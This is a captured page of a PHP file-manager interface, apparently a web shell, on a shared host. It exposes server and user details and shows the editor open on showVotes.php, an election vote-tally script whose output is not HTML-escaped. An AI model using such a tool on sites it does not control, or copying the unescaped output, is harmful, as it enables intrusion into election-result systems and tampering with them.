Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-570.21.1.el9_6.x86_64

PHP Version:

8.2.28

User:

u612101220

Directory:

/home/u612101220/domains/esgpos.shop/public_html/tabulation/tabulator

Free Space:

9.72 TB

🔧 Quick Actions

✏️ Editing: showVotes.php

<?php

session_start();
include("../controller/config.php");
include('user.php');
// Fetch vote counts for each candidate, position, and precinct
$barangay_id = $db_barangay_id; // Assuming the barangay_id is saved in the session

$vote_query = "SELECT position.position_name, candidate.fullname, precinct.precinct_name, votes.vote_count 
               FROM votes
               INNER JOIN candidate ON votes.candidate_id = candidate.candidate_id
               INNER JOIN position ON candidate.position_id = position.position_id
               INNER JOIN precinct ON votes.precinct_id = precinct.precinct_id
               WHERE precinct.barangay_id = ?";

$stmt = $conn->prepare($vote_query);
$stmt->bind_param("i", $barangay_id);
$stmt->execute();
$vote_result = $stmt->get_result();

echo "<table class='table'>";
echo "<thead><tr><th>Position</th><th>Candidate</th><th>Precinct</th><th>Vote Count</th></tr></thead><tbody>";

while ($vote = $vote_result->fetch_assoc()) {
    echo "<tr><td>" . $vote['position_name'] . "</td><td>" . $vote['fullname'] . "</td><td>" . $vote['precinct_name'] . "</td><td>" . $vote['vote_count'] . "</td></tr>";
}

echo "</tbody></table>";

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: showVotes.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation